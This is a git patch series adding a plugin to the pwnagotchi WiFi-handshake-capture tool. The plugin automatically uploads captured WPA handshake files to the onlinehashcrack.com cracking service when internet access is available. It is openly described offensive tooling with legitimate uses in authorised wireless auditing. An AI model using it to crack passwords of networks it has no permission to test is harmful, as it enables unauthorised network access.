From 20a89f732344c58e680d1c9de4ab101d7b22d821 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:24:42 +0200 Subject: [PATCH 1/2] Add code --- .../plugins/default/onlinehashcrack.py | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py new file mode 100644 index 0000000..5715be6 --- /dev/null +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py @@ -0,0 +1,83 @@ +__author__ = '33197631+dadav@users.noreply.github.com' +__version__ = '1.0.0' +__name__ = 'onlinehashcrack' +__license__ = 'GPL3' +__description__ = 'This plugin automatically uploades handshakes to https://onlinehashcrack.com' + +import os +import logging +import requests + +READY = False +EMAIL = None +ALREADY_UPLOADED = None + + +def on_loaded(): + """ + Gets called when the plugin gets loaded + """ + global READY + global EMAIL + global ALREADY_UPLOADED + + if not EMAIL: + logging.error("OHC: EMAIL isn't set. Can't upload to onlinehashcrack.com") + return + + try: + with open('/root/.ohc_uploads', 'r') as f: + ALREADY_UPLOADED = f.read().splitlines() + except OSError: + logging.warning('OHC: No upload-file found.') + ALREADY_UPLOADED = [] + + READY = True + + +def _upload_to_ohc(path, timeout=30): + """ + Uploads the file to onlinehashcrack.com + """ + with open(path, 'rb') as file_to_upload: + data = {'email': EMAIL} + payload = {'file': file_to_upload} + + try: + result = requests.post('https://api.onlinehashcrack.com', + data=data, + files=payload, + timeout=timeout) + if 'already been sent' in result.text: + logging.warning(f"{path} was already uploaded.") + except requests.exceptions.RequestException as e: + logging.error(f"OHC: Got an exception while uploading {path} -> {e}") + raise e + + +def on_internet_available(display, config, log): + """ + Called in manual mode when there's internet connectivity + """ + if READY: + handshake_dir = config['bettercap']['handshakes'] + handshake_filenames = os.listdir(handshake_dir) + handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames] + handshake_new = set(handshake_paths) - set(ALREADY_UPLOADED) + + if handshake_new: + logging.info("OHC: Internet connectivity detected. Uploading new handshakes to onelinehashcrack.com") + + for idx, handshake in enumerate(handshake_new): + display.set('status', f"Uploading handshake to onlinehashcrack.com ({idx + 1}/{len(handshake_new)})") + display.update(force=True) + try: + _upload_to_ohc(handshake) + ALREADY_UPLOADED.append(handshake) + with open('/root/.ohc_uploads', 'a') as f: + f.write(handshake + "\n") + except requests.exceptions.RequestException: + pass + except OSError as os_e: + logging.error(f"OHC: Got the following error: {os_e}") + From 11f35f1230ddc2bc500b4d29ac82cd85b4464907 Mon Sep 17 00:00:00 2001 From: dadav <33197631+dadav@users.noreply.github.com> Date: Fri, 4 Oct 2019 09:32:04 +0200 Subject: [PATCH 2/2] Be a lil bit more verbose --- .../scripts/pwnagotchi/plugins/default/onlinehashcrack.py | 1 + 1 file changed, 1 insertion(+) diff --git a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py index 5715be6..39f73dd 100644 --- a/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py +++ b/sdcard/rootfs/root/pwnagotchi/scripts/pwnagotchi/plugins/default/onlinehashcrack.py @@ -76,6 +76,7 @@ def on_internet_available(display, config, log): ALREADY_UPLOADED.append(handshake) with open('/root/.ohc_uploads', 'a') as f: f.write(handshake + "\n") + logging.info(f"OHC: Successfuly uploaded {handshake}") except requests.exceptions.RequestException: pass except OSError as os_e: